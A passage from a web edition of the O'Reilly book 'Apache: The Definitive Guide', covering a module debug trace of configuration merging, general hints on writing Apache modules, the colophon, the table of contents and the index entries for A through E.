MergeDir    : pBase: dir=(none)+(none)+/.reveal tag=MainDir+H1Main+Revealer
              pNew: dir=/protected tag=H1ProtectedLocation

Then the URL is translated into a filename, using the newly merged directory configuration:

Translate   : uri=/protected/.reveal
              server=freeby.ben.algroup.co.uk:9001[23288] tag=MainServer+H1
              dir=(none)+(none)+/.reveal+/protected
              tag=MainDir+H1Main+Revealer+H1ProtectedLocation

Now that the filename is known, even more merging can be done. Notice that this time the section tagged as H1ProtectedDirectory is pulled in, too:

MergeDir    : pBase: dir=(none)+(none) tag=MainDir+H1Main pNew: dir=/home/
              ben/www/docs/protected tag=H1ProtectedDirectory
MergeDir    : pBase: dir=(none)+(none)+/home/ben/www/docs/protected
              tag=MainDir+H1Main+H1ProtectedDirectory pNew: dir=/.reveal
              tag=Revealer
MergeDir    : pBase: dir=(none)+(none)+/home/ben/www/docs/protected+/.reveal
              tag=MainDir+H1Main+H1ProtectedDirectory+Revealer pNew: dir=/
              protected tag=H1ProtectedLocation

And finally the request proceeds as usual:

HeaderParser: server=freeby.ben.algroup.co.uk:9001[23288] tag=MainServer+H1
              dir=(none)+(none)+/home/ben/www/docs/protected+/.reveal+/
              protected tag=MainDir+H1Main+H1ProtectedDirectory+
              Revealer+H1ProtectedLocation
CheckAccess : server=freeby.ben.algroup.co.uk:9001[23288] tag=MainServer+H1
              dir=(none)+(none)+/home/ben/www/docs/protected+/.reveal+/
              protected tag=MainDir+H1Main+H1ProtectedDirectory+
              Revealer+H1ProtectedLocation
TypeChecker : server=freeby.ben.algroup.co.uk:9001[23288] tag=MainServer+H1
              dir=(none)+(none)+/home/ben/www/docs/protected+/.reveal+/
              protected tag=MainDir+H1Main+H1ProtectedDirectory+
              Revealer+H1ProtectedLocation
Fixups      : server=freeby.ben.algroup.co.uk:9001[23288] tag=MainServer+H1
              dir=(none)+(none)+/home/ben/www/docs/protected+/.reveal+/
              protected tag=MainDir+H1Main+H1ProtectedDirectory+
              Revealer+H1ProtectedLocation
Logger      : server=freeby.ben.algroup.co.uk:9001[23288] tag=MainServer+H1
              dir=(none)+(none)+/home/ben/www/docs/protected+/.reveal+/
              protected tag=MainDir+H1Main+H1ProtectedDirectory+
              Revealer+H1ProtectedLocation

And there we have it. Although the merging of directories, locations, files, and so on gets rather hairy, Apache deals with it all for you, presenting you with a single server and directory configuration on which to base your code's decisions.

Previous | Home | Next
15.3. The Module Structure | Book Index | 15.5. General Hints
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


General Hints (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

15.5. General Hints

Future versions of Apache for Unix may well be multithreaded, and, of course, the Win32 version already is. If you want your module to stand the test of time, you should avoid global variables, if at all possible. If not possible, put some thought into how they will be used by a multithreaded server. Don't forget that you can use the notes table in the request record to store any per-request data you may need to pass between hooks.

Never use a fixed-length buffer. Many of the security holes found in Internet software have fixed-length buffers at their root. The pool mechanism provides a rich set of tools you can use to avoid the need for fixed-length buffers.

Remember that your module is just one of a random set an Apache user may configure into his or her server. Don't rely on anything that may be peculiar to your own setup. And don't do anything that might interfere with other modules (a tall order, we know, but do your best!).

Previous | Home | Next
15.4. A Complete Example | Book Index | A. Support Organizations
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Colophon (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

Colophon

Our look is the result of reader comments, our own experimentation, and feedback from distribution channels. Distinctive covers complement our distinctive approach to technical topics, breathing personality and life into potentially dry subjects.

The animal featured on the cover of Apache: The Definitive Guide is an Appaloosa horse. Developed by the Nez Perce Indians of northeastern Oregon, the name Appaloosa derives from the nearby Palouse River. Although spotted horses are believed to be almost as old as the equine race itself--Cro-Magnon cave paintings depict spotted horses--the Appaloosa is the only established breed of spotted horse. The Appaloosa was bred to be a hunting and war horse, and as such they have great stamina, are highly athletic and agile, and have docile temperaments. When the Nez Perce, led by Chief Joseph, surrendered to the U.S. Army in 1876 and were exiled to Oklahoma, the Appaloosa breed was almost eradicated. In 1938 the Appaloosa Horse Club was formed in Moscow, Idaho, and the breed was revived. The Horse Club now registers approximately 65,000 horses, making it the third largest registry in the world. No longer a war horse, Appaloosas can be found in many equestrian venues, from trail riding to western competition to pleasure riding.

Madeleine Newell was the production editor for this edition, and Cindy Kogut of Editorial Ink did the copyedit. Seth Maislin wrote the index. Quality assurance was provided by Ellie Cutler, Clairemarie Fisher O'Leary, and Sheryl Avruch. Betty Hugh and Sebastian Banker provided production assistance.

Edie Freedman designed the cover of this book, using a 19th-century engraving from the Dover Pictorial Archive. The cover layout was produced by Kathleen Wilson with QuarkXPress 3.3 using the ITC Garamond and Helvetica condensed fonts.

The inside layout was designed by Nancy Priest and Edie Freedman and implemented in FrameMaker by Mike Sierra. The text and heading fonts are ITC Garamond Light and Garamond Book. The illustration that appears in the book was created in Macromedia Freehand 7.0 by Chris Reilley. This colophon was written by Clairemarie Fisher O'Leary.

Previous | Home
Index | Book Index
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


(Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

Copyright © 1999, 1997 O'Reilly & Associate. All rights reserved.

Printed in the United States of America.

Published by O'Reilly & Associates, Inc., 101 Morris Street, Sebastopol, CA 95472.

The O'Reilly logo is a registered trademark of O'Reilly & Associates, Inc. Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in this book, and O'Reilly & Associates, Inc. was aware of a trademark claim, the designations have been printed in caps or initial caps. The use of the Appaloosa horse image in association with Apache is a trademark of O'Reilly & Associates, Inc.

While every precaution has been taken in the preparation of this book, the publisher assumes no responsibility for errors or omissions, or for damages resulting from the use of the information contained herein.

Previous | Home | Next
Table of Contents | Book Index | 0. Preface
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Apache: The Definitive Guide

By Ben Laurie and Peter Laurie
ISBN 1-56592-528-9
Second Edition, published February 1999
(See the catalog page for this book.)

Search the text of Apache: The Definitive Guide.

Table of Contents

Copyright Page
Preface
Chapter 1: Getting Started
Chapter 2: Our First Web Site
Chapter 3: Toward a Real Web Site
Chapter 4: Common Gateway Interface (CGI)
Chapter 5: Authentication
Chapter 6: MIME, Content and Language Negotiation
Chapter 7: Indexing
Chapter 8: Redirection
Chapter 9: Proxy Server
Chapter 10: Server-Side Includes
Chapter 11: What's Going On?
Chapter 12: Extra Modules
Chapter 13: Security
Chapter 14: The Apache API
Chapter 15: Writing Apache Modules
Appendix A: Support Organizations
Appendix B: The echo Program
Appendix C: NCSA and Apache Compatibility
Appendix D: SSL Protocol
Appendix E: Sample Apache Log
Index
Colophon

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Index: Apache: The Definitive Guide (Apache: The Definitive Guide)

Apache:The Definitive GuideSearch this book

Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Previous | Home | Next
E. Sample Apache Log | Book Index | Colophon
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: 0 (Apache: The Definitive Guide)

Apache: The Definitive GuideSearch this book

Index: 0

# for comments: 1.8.2. Semimanual Method
1.8.4. Configuration Settings and Rules
-? flag (httpd/apache): 2.2. Apache's Flags

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: A (Apache: The Definitive Guide)

Apache: The Definitive GuideSearch this book

Index: A

access control: 5.6. Order, Allow, and Deny
12.2. Blocking Access
anonymous access: 5.8. Anonymous Access
checking: 15.3.12. Check Access
configuration and request information: 14.5. Access to Configuration and Request Information
logging accesses: 11.5.2. TransferLog
modules for: 12.2. Blocking Access
server information: 3.4.5. ServerTokens
throttling connections: 12.8. Throttling Connections
access.conf file: 5.9.1. Access.conf
AccessFileName directive: 5.11.1. AccessFileName
acquire_event(): 14.6.9.3. Event Functions
ACTION attribute (HTML): 4.1.3. The Form
Action directive: 4.9.1. Action
actions, CGI and: 4.9. Actions
AddAlt directive: 7.1.5. AddAlt
AddAltByEncoding directive: 7.1.11. AddAltByEncoding
AddAltByType directive: 7.1.9. AddAltByType
AddDescription directive: 7.1.6. AddDescription
AddEncoding directive: 6.1.4. AddEncoding
AddHandler directive: 4.2.2. Script in DocumentRoot
4.8.1. AddHandler
11.3. Server Status
type maps: 6.4. Type Maps
AddIcon directive: 7.1.4. AddIcon
AddIconByEncoding directive: 7.1.10. AddIconByEncoding
AddIconByType directive: 7.1.8. AddIconByType
AddModuleInfo directive: 11.1. AddModuleInfo
addresses
email, for automatic replies: 3.4.3. ServerAdmin
IP (see IP addresses)
loopback: 2.4.2. Running Apache Under Unix
AddType directive: 6.1.2. AddType
adduser command: 2.4.1. Webuser and Webgroup
5.5.1. DBM Files on Unix
alarms: 14.6.16. Timeout and Alarm Functions
alias command (Unix): 2.4.6. Our Experimental Micro Web
Alias directive: 8.3. Alias
alias module: 8. Redirection
aliases
CGI scripts: 4.3.1. ScriptAlias
8.3. Alias
hosts, listing: 3.4.6. ServerAlias
AliasMatch directive: 8.4. AliasMatch
All option (Options): 3.11. Options
allow directive: 5.6. Order, Allow, and Deny
11.3. Server Status
AllowOverride directive: 5.12.1. AllowOverride
15.3.5. Command Table
alternate text for browsers: 7.1.5. AddAlt
7.1.9. AddAltByType
anonymous
access: 5.8. Anonymous Access
key exchange (SSL): D.1.1.1. Anonymous key exchange
Anonymous directive: 5.8.1. Anonymous
Anonymous_Authoritative directive: 5.8.5. Anonymous_Authoritative
Anonymous_LogEmail directive: 5.8.3. Anonymous_LogEmail
Anonymous_MustGiveEmail directive: 5.8.6. Anonymous_MustGiveEmail
Anonymous_NoUserID directive: 5.8.2. Anonymous_NoUserID
Anonymous_VerifyEmail directive: 5.8.4. Anonymous_VerifyEmail
Apache
directives (see directives, Apache)
history of: 0.1. Who Wrote Apache, and Why?
modules (see modules)
multiple copies: 3.9. Two Copies of Apache
NCSA server and: C. NCSA and Apache Compatibility
restarting: 3.12. Restarts
security (see security)
technical support: A. Support Organizations
under Win32 (see Win32)
versions of: 0. Preface
1.7. Which Apache?
Apache API: 14. The Apache API
functions of (list): 14.6. Functions
apache command flags: 2.2. Apache's Flags
Apache FTP directory: 12. Extra Modules
Apache-SSL patch: 13.6.2. Get the Apache-SSL Patch
apachect1 script: 2.4. Setting Up a Unix Server
apache.exe: 1.1. How Does Apache Work?
1.9. Apache Under Windows
ap_acquire_mutex(): 14.6.9.1. Mutex Functions
ap_add_cgi_vars(): 14.6.7. Process and CGI Functions
ap_add_common_vars(): 14.6.7. Process and CGI Functions
ap_add_version_component(): 14.6.19. Server Information Functions
ap_allow_options(): 14.6.18. Configuration Information Functions
ap_allow_overrides(): 14.6.18. Configuration Information Functions
ap_auth_name(): 14.6.18. Configuration Information Functions
ap_auth_type(): 14.6.18. Configuration Information Functions
ap_bclose(): 14.6.22. Buffering Functions
ap_bcreate(): 14.6.22. Buffering Functions
ap_bfileno(): 14.6.22. Buffering Functions
ap_bflush(): 14.6.22. Buffering Functions
ap_bgetc(): 14.6.22. Buffering Functions
ap_bgetflag(): 14.6.22. Buffering Functions
ap_bgets(): 14.6.22. Buffering Functions
ap_blookc(): 14.6.22. Buffering Functions
ap_bnonblock(): 14.6.22. Buffering Functions
ap_bonerror(): 14.6.22. Buffering Functions
ap_bprintf(): 14.6.22. Buffering Functions
ap_bpushfd(): 14.6.22. Buffering Functions
ap_bpushh(): 14.6.22. Buffering Functions
ap_bputc(): 14.6.22. Buffering Functions
ap_bputs(): 14.6.22. Buffering Functions
ap_bread(): 14.6.22. Buffering Functions
ap_bskiplf(): 14.6.22. Buffering Functions
ap_bspawn_child(): 14.6.7. Process and CGI Functions
ap_bvputs(): 14.6.22. Buffering Functions
ap_bwrite(): 14.6.22. Buffering Functions
ap_can_exec(): 14.6.7. Process and CGI Functions
ap_cfg_closefile(): 14.6.17. Configuration Functions
ap_cfg_getc(): 14.6.17. Configuration Functions
ap_check_alarm(): 14.6.16. Timeout and Alarm Functions
ap_check_cmd_context(): 14.6.17. Configuration Functions
ap_checkmask(): 14.6.11. String Functions
ap_child_terminate(): 14.6.24. Miscellaneous Functions
ap_clear_pool(): 14.6.1. Pool Functions
ap_clear_table(): 14.6.3. Table Functions
ap_close_piped_log(): 14.6.21. Piped Log Functions
ap_create_mutex(): 14.6.9.1. Mutex Functions
ap_default_port(): 14.6.24. Miscellaneous Functions
ap_default_port_for_scheme(): 14.6.24. Miscellaneous Functions
ap_default_type(): 14.6.24. Miscellaneous Functions
ap_destroy_mutex(): 14.6.9.1. Mutex Functions
ap_error_log2stderr(): 14.6.20. Logging Functions
ap_escape_html(): 14.6.11. String Functions
ap_find_last_token(): 14.6.11. String Functions
ap_fnmatch(): 14.6.12. Path, Filename, and URL Manipulation Functions
ap_get_basic_auth_pw(): 14.6.24. Miscellaneous Functions
ap_get_module_config(): 14.6.24. Miscellaneous Functions
ap_get_remote_host(): 14.6.14. TCP/IP and I/O Functions
ap_get_remote_logname(): 14.6.24. Miscellaneous Functions
ap_get_server_built(): 14.6.19. Server Information Functions
ap_get_server_name(): 14.6.24. Miscellaneous Functions
ap_get_server_port(): 14.6.24. Miscellaneous Functions
ap_get_server_version(): 14.6.19. Server Information Functions
ap_http_method(): 14.6.24. Miscellaneous Functions
ap_ind(): 14.6.11. String Functions
ap_is_default_port(): 14.6.24. Miscellaneous Functions
ap_is_empty_table(): 14.6.3. Table Functions
ap_is_fnmatch(): 14.6.12. Path, Filename, and URL Manipulation Functions
ap_is_initial_req(): 14.6.24. Miscellaneous Functions
ap_kill_cleanups_for_socket(): 14.6.4. Cleanup Functions
ap_log_error(): 14.6.20. Logging Functions
ap_log_reason(): 14.6.20. Logging Functions
ap_make_dirstr_parent(): 14.6.12. Path, Filename, and URL Manipulation Functions
ap_make_dirstr_prefix(): 14.6.12. Path, Filename, and URL Manipulation Functions
ap_matches_request_vhost(): 14.6.24. Miscellaneous Functions
ap_md5(): 14.6.8. MD5 Functions
ap_md5contextTo64(): 14.6.8. MD5 Functions
ap_md5digest(): 14.6.8. MD5 Functions
ap_MD5Final(): 14.6.8. MD5 Functions
ap_MD5Update(): 14.6.8. MD5 Functions
ap_note_cleanups_for_file(): 14.6.4. Cleanup Functions
ap_note_cleanups_for_socket(): 14.6.4. Cleanup Functions
ap_open_mutex(): 14.6.9.1. Mutex Functions
ap_open_piped_log(): 14.6.21. Piped Log Functions
ap_os_canonical_filename(): 14.6.12. Path, Filename, and URL Manipulation Functions
ap_os_dso_error(): 14.6.24. Miscellaneous Functions
ap_os_dso_load(): 14.6.24. Miscellaneous Functions
ap_os_dso_sym(): 14.6.24. Miscellaneous Functions
ap_os_dso_unload(): 14.6.24. Miscellaneous Functions
ap_os_is_path_absolute(): 14.6.6. Regular Expression Functions
ap_overlay_tables(): 14.6.3. Table Functions
ap_parse_hostinfo_components(): 14.6.23. URI Functions
ap_parse_uri_components(): 14.6.23. URI Functions
ap_pcfg_open_custom(): 14.6.17. Configuration Functions
ap_pcfg_openfile(): 14.6.17. Configuration Functions
ap_pclosedir(): 14.6.24. Miscellaneous Functions
ap_pclosesocket(): 14.6.5. File and Socket Functions
ap_pduphostent(): 14.6.23. URI Functions
ap_pgethostbyname(): 14.6.23. URI Functions
ap_piped_log_write_fd(): 14.6.21. Piped Log Functions
ap_popendir(): 14.6.24. Miscellaneous Functions
ap_pregfree(): 14.6.6. Regular Expression Functions
ap_pregsub(): 14.6.6. Regular Expression Functions
ap_psignature(): 14.6.24. Miscellaneous Functions
ap_psocket(): 14.6.5. File and Socket Functions
ap_psprintf(): 14.6.11. String Functions
ap_pvsprintf(): 14.6.11. String Functions
ap_release_mutex(): 14.6.9.1. Mutex Functions
ap_requires(): 14.6.18. Configuration Information Functions
ap_rflush(): 14.6.14. TCP/IP and I/O Functions
ap_rind(): 14.6.11. String Functions
ap_rwrite(): 14.6.14. TCP/IP and I/O Functions
ap_satisfies(): 14.6.18. Configuration Information Functions
ap_scan_script_header(): 14.6.7. Process and CGI Functions
ap_scan_script_header_err(): 14.6.7. Process and CGI Functions
ap_scan_script_header_err_buff(): 14.6.7. Process and CGI Functions
ap_send_fb(): 14.6.14. TCP/IP and I/O Functions
ap_send_fb_length(): 14.6.14. TCP/IP and I/O Functions
ap_send_mmap(): 14.6.14. TCP/IP and I/O Functions
ap_send_size(): 14.6.14. TCP/IP and I/O Functions
ap_server_root_relative(): 14.6.12. Path, Filename, and URL Manipulation Functions
ap_set_file_slot(): 14.6.17. Configuration Functions
ap_set_flag_slot(): 14.6.17. Configuration Functions
ap_set_string_slot(): 14.6.17. Configuration Functions
ap_set_string_slot_lower(): 14.6.17. Configuration Functions
ap_str_tolower(): 14.6.11. String Functions
ap_table_do(): 14.6.3. Table Functions
ap_unparse_uri_components(): 14.6.23. URI Functions
ap_vbprintf(): 14.6.22. Buffering Functions
ap_vformatter(): 14.6.24. Miscellaneous Functions
API for Apache: 14. The Apache API
functions of (list): 14.6. Functions
append_arrays(): 14.6.2. Array Functions
array_cat(): 14.6.2. Array Functions
arrays, API functions for: 14.6.2. Array Functions
AS/400: 1.10. Apache Under BS2001/OSD and AS/400
AuthDBMGroupFile directive: 5.5.1. DBM Files on Unix
AuthDBMUserFile directive: 5.5.1. DBM Files on Unix
5.5.1. DBM Files on Unix
AuthDBUserFile directive: 5.5.1. DBM Files on Unix
authentication: 1. Getting Started
5. Authentication
anonymous access: 5.8. Anonymous Access
checking: 15.3.14. Check Auth
controlling access: 5.6. Order, Allow, and Deny
digest authentication: 5.1. Authentication Protocol
5.7. Digest Authentication
directives for: 5.2. Authentication Directives
forms and: 5.5. New Order Form
.htaccess file (see .htaccess file)
modules for: 12.1. Authentication
SSL protocol and: D.1.1. Authentication and Key Exchange
user information: 5.10. Automatic User Information
AuthGroupFile directive: 5.2.3. AuthGroupFile
AuthName directive: 5.2.2. AuthName
AuthType directive: 5.2.1. AuthType
5.7. Digest Authentication
AuthUserFile directive: 5.2.4. AuthUserFile
await_thread(): 14.6.9.4. Thread Functions

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: B (Apache: The Definitive Guide)

Apache: The Definitive GuideSearch this book

Index: B

base URL, rewriting: 8.8.5. RewriteBase
bastion hosts: 13.4.2. Separate Networks
binary releases of Apache: 1.8.6. Unix Binary Releases
binary signatures: 13.3. Binary Signatures, Virtual Cash
BindAddress directive: 3.9.1. BindAddress
block_alarms(): 14.6.16. Timeout and Alarm Functions
block directives: 3.3. Block Directives
blocking access (see access control)
BrowserMatch directive: 4.6.4.2. BrowserMatch and BrowserMatchNoCase
BrowserMatchNoCase directive: 4.6.4.2. BrowserMatch and BrowserMatchNoCase
browsers: 4.6.4. Browsers
cookies: 5.10.2. Cookies
HTTP/1.1 and: 6.5. Browsers and HTTP/1.1
icons and: 7.1.4. AddIcon
imagemaps: 7.3. Imagemaps
languages and: 6.3. Language Negotiation
BS2001/OSD: 1.10. Apache Under BS2000/OSD and AS/400
buffers
API functions for: 14.6.22. Buffering Functions
fixed-length: 15.5. General Hints
bugs: 1. Getting Started
keepalives and Netscape: 3.4.14. KeepAlive
bytes_in_free_blocks(): 14.6.1. Pool Functions
bytes_in_pool(): 14.6.1. Pool Functions

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: C (Apache: The Definitive Guide)

Apache: The Definitive GuideSearch this book

Index: C

-c flag (httpd/apache): 2.2. Apache's Flags
CacheDefaultExpire directive: 9.2.6. CacheDefaultExpire
CacheDirLength directive: 9.2.7. CacheDirLevels and CacheDirLength
CacheDirLevels directive: 9.2.7. CacheDirLevels and CacheDirLength
CacheGcInterval directive: 9.2.3. CacheGcInterval
CacheLastModifiedFactor directive: 9.2.5. CacheLastModifiedFactor
CacheMaxExpire directive: 9.2.4. CacheMaxExpire
CacheNegotiatedDocs directive: 9.2.8. CacheNegotiatedDocs
CacheRoot directive: 9.2.1. CacheRoot
CacheSize directive: 9.2.2. CacheSize
caching data: 9.2. Caching
configuring: 9.3. Setup
SSL global session cache: 13.6.6. The Global Session Cache
call_exec(): 14.6.7. Process and CGI Functions
"Can only generate PEM output from PEM input" error: 13.6.7. Site.SSL
can_exec(): 14.6.13. User and Group Functions
"cannot determine local hostname": 2.4.2. Running Apache Under Unix
carriage returns and line feeds (CRLF): 1.4. What the Client Does
CAs (certificate authorities): 13.3.1. Certificates
CD-ROM with this book: 0.2. The Demonstration CD-ROM
0.3. Conventions Used in This Book
CERN metafiles: 3.14. CERN Metafiles
certificates: 13.3.1. Certificates
exporting to CGIs: 13.9.1. SSLExportClientCertificates
testing: 13.6.5. Make a Test Certificate
cfg_getline(): 14.6.17. Configuration Functions
cgi-bin directory: 1.1. How Does Apache Work?
4.2.1. Script in cgi-bin
CGI (Common Gateway Interface): 1.1. How Does Apache Work?
4.2. Writing and Executing Scripts
actions and: 4.9. Actions
Alias directive and: 8. Redirection
Apache directives for: 4.3. Script Directives
Apache handlers for: 4.8. Handlers
API functions for: 14.6.7. Process and CGI Functions
environment variables: 4.6. Setting Environment Variables
executing scripts as includes: 10. Server-Side Includes
10.4. Execute CGI
headers: 4.2. Writing and Executing Scripts
modules to improve performance: 12.4. Faster CGI Programs
output to shells: 13.2. Apache's Security Precautions
script location: 4.2.1. Script in cgi-bin
SSL and: 13.9. SSL and CGI
suEXEC wrapper (Unix): 4.7. suEXEC on Unix
useful scripts: 4.4. Useful Scripts
cgi option (exec command): 10. Server-Side Includes
10.4. Execute CGI
cgi-script handler: 4.8. Handlers
chdir_file(): 14.6.12. Path, Filename, and URL Manipulation Functions
CheckSpelling directive: 8.9. Speling
12.10. Miscellaneous
child_exit(): 15.3.19. Child Exit
child exits: 15.3.19. Child Exit
child initialization: 15.3.7. Child Initialization
child servers, limits on: 3.6.2. MaxRequestsPerChild
chmod command: 2.4.4. Unix Permissions
cipher suites: 13.8. Cipher Suites
circular imagemap hotspots: 7.3.4. HTML File
classes of networks: 1.2. What to Know About TCP/IP
cleanup_for_exec(): 14.6.4. Cleanup Functions
cleanups, API functions for: 14.6.4. Cleanup Functions
clear_pool(): 14.6.1. Pool Functions
clients: 1.4. What the Client Does
close_unused_listeners(): 14.1. Pools
cmd option (exec command): 10. Server-Side Includes
10.4. Execute CGI
cmd_how structure: 15.3.5. Command Table
cmd_parms structure: 15.3.5. Command Table
command table: 15.3.5. Command Table
command_rec structure: 15.3.5. Command Table
comments in Configuration file: 1.8.2. Semimanual Method
1.8.4. Configuration Settings and Rules
compiling Apache
under Unix (making): 1.8.5. Making Apache
under Win32: 1.9.1. Compiling Apache Under Win32
conditional URL rewriting: 8.8.6. RewriteCond
conf directory: 1.1. How Does Apache Work?
2.1. What Is a Web Site?
specifying location of: 3.4.8. ServerRoot
config command: 10. Server-Side Includes
configtest flag (apachect1): 2.4. Setting Up a Unix Server
configuration file, Apache: 1.8.2. Semimanual Method
anonymous access: 5.8. Anonymous Access
digest authentication: 5.7. Digest Authentication
httpd.conf: 2.4.1. Webuser and Webgroup
inetd utility: 1.5. What Happens at the Server End?
logging: 11.5. Logging the Action
overrides: 5.12.1. AllowOverride
rewriting example: 8.8.8. A Rewrite Example
SSL: 13.6.7. Site.SSL
type maps: 6.4. Type Maps
virtual hosting: 3.8.1. Name-Based Virtual Hosts
configuration files, server: 2.3. site.toddle
configuring
API functions for: 14.6.17. Configuration Functions
information on: 11.4. Server Info
14.5. Access to Configuration and Request Information
modules: 14.2. Per-Server Configuration
15.3. The Module Structure
proxy servers: 9.3. Setup
settings and rules: 1.8.4. Configuration Settings and Rules
SSL for Apache: 13.6.1. Get SSLeay
Unix server: 2.4. Setting Up a Unix Server
Win32 server: 2.5. Setting Up a Win32 Server
CONNECT method (HTTP): 4.1.2. What Is an HTTP Method?
construct_server(): 14.6.12. Path, Filename, and URL Manipulation Functions
construct_url(): 14.6.12. Path, Filename, and URL Manipulation Functions
Content-encoding header: 6.4. Type Maps
Content-language header: 6.4. Type Maps
Content-length header: 6.4. Type Maps
content negotiation: 6.2. Content Negotiation
Content-type directive: 6.4. Type Maps
Content-Type header: 4.2. Writing and Executing Scripts
4.2. Writing and Executing Scripts
controlling access (see access control)
CookieExpires directive: 5.10.5. CookieExpires
CookieLog directive: 5.10.3. CookieLog
cookies: 5.10.2. Cookies
CookieTracking directive: 5.10.4. CookieTracking
copy_array(): 14.6.2. Array Functions
copy_array_hdr(): 14.6.2. Array Functions
copy_listeners(): 14.1. Pools
copy_table(): 14.6.3. Table Functions
CoreDumpDirectory directive: 3.4.11. CoreDumpDirectory
"couldn't determine user name" error: 2.4. Setting Up a Unix Server
2.4. Setting Up a Unix Server
count_dirs(): 14.6.12. Path, Filename, and URL Manipulation Functions
counter modules: 12.3. Counters
CPU, limiting for CGI scripts: 4.3.6. RLimitCPU
create_event(): 14.6.9.3. Event Functions
create_semaphore(): 14.6.9.2. Semaphore Functions
create_thread(): 14.6.9.4. Thread Functions
CRLF (carriage returns and line feeds): 1.4. What the Client Does
cryptography (see encryption)
CustomLog directive: 11.5.4. CustomLog
13.7.15. CustomLog

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: D (Apache: The Definitive Guide)

Apache: The Definitive GuideSearch this book

Index: D

-d flag (httpd/apache): 2.2. Apache's Flags
3.4.8. ServerRoot
data, protecting: D.2. Protecting Application Data
db_auth_module: 1.8.3. Modules
DBM files: 8.8.4. RewriteMap
dbm_auth_module: 1.8.3. Modules
dbmmanage script: 5.5.1. DBM Files on Unix
debugging CGI scripts: 4.5. Debugging Scripts
DefaultIcon directive: 7.1.7. DefaultIcon
DefaultType directive: 6.1.3. DefaultType
DELETE method (HTTP): 4.1.2. What Is an HTTP Method?
deleting
mutexes: 14.6.9.1. Mutex Functions
pools: 14.6.1. Pool Functions
semaphores: 14.6.9.2. Semaphore Functions
suEXEC security against: 4.7.1. A Demonstration of suEXEC
threads: 14.6.9.4. Thread Functions
demonstration web sites: 0.3. Conventions Used in This Book
deny directive: 5.6. Order, Allow, and Deny
destroy_event(): 14.6.9.3. Event Functions
destroy_pool(): 14.6.1. Pool Functions
destroy_semaphore(): 14.6.9.2. Semaphore Functions
destroy_sub_req(): 14.6.15. Request-Handling Functions
diagnostic information: 11.2. Status
Diffie-Hellman key exchange: D.1.1.3. Diffie-Hellman key exchange with authentication
digest authentication: 5.1. Authentication Protocol
5.7. Digest Authentication
digital signatures: 13.3. Binary Signatures, Virtual Cash
directives, Apache: 0.3.4. Directives
3.6.1. MaxClients
actions with CGI: 4.9. Actions
anonymous access: 5.8.1. Anonymous
authentication: 5.2. Authentication Directives
browsers: 4.6.4. Browsers
caching: 9.2. Caching
CGI scripts: 4.3. Script Directives
cipher suites: 13.8.1. SSLRequiredCiphers
controlling virtual hosts: 3.6. Controlling Virtual Hosts on Unix
environment variables: 4.6. Setting Environment Variables
expiration: 3.15. Expirations
handlers: 4.8. Handlers
housekeeping: 3.4. Other Directives
HTTP response headers: 3.10. HTTP Response Headers
indexing: 7.1. Making Better Indexes in Apache
limiting application of: 3.3. Block Directives
5.2.5. Limit
logging: 11.5. Logging the Action
metafiles: 3.14. CERN Metafiles
multiple Apache copies: 3.9. Two Copies of Apache
overriding: 5.12. Overrides
proxy servers: 9.1. Proxy Directives
redirection: 8. Redirection
rewriting URLs: 8.8. Rewrite
SSL: 13.7. Apache-SSL's Directives
user information: 5.10. Automatic User Information
directories
controlling access to: 5.6.1. Allow from
execute permission for: 2.4.4. Unix Permissions
home directory: 8.5. UserDir
indexes of (see indexing)
limiting directives to: 3.3.2. <Directory> and <DirectoryMatch>
per-directory configuration: 14.3. Per-Directory Configuration
15.3.2. Create Per-Directory Config Structure
15.3.4. Per-Directory Merger
web site: 1.1. How Does Apache Work?
DirectoryIndex directive: 7.2.1. DirectoryIndex
type maps: 6.4. Type Maps
distributions directory (on CD-ROM): 0.2. The Demonstration CD-ROM
DMB files: 5.5.1. DBM Files on Unix
DNS, reverse lookup: 3.4.17. HostNameLookups
documentation
AddDescription directive: 7.1.6. AddDescription
headers: 7.1.12. HeaderName
technical support: A. Support Organizations
DocumentRoot directive: 2.4.2.1. DocumentRoot
CGI scripts: 4.2.2. Script in DocumentRoot
DOS window for Apache: 2.5. Setting Up a Win32 Server
downgrade-1.0 variable: 4.6.5.3. downgrade-1.0
DSO (Dynamic Shared Objects): 12.12. DSO

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: E (Apache: The Definitive Guide)

Apache: The Definitive GuideSearch this book

Index: E

echo command: 10. Server-Side Includes
10.5. Echo
@echo off command: 4.2. Writing and Executing Scripts
echo program: B. The echo Program
echo2.c program: B. The echo Program
echo.c program (example): 4.4.1. echo.c
email address for automatic replies: 3.4.3. ServerAdmin
encoding: 7.1.11. AddAltByEncoding
encoding (MIME): 6.1. MIME Types
checking types: 15.3.15. Type Checker
indexing by type: 7.1.8. AddIconByType
mod_mime_magic module: 12.11. MIME Magic
encryption: 5.3. Passwords Under Unix
13.3. Binary Signatures, Virtual Cash
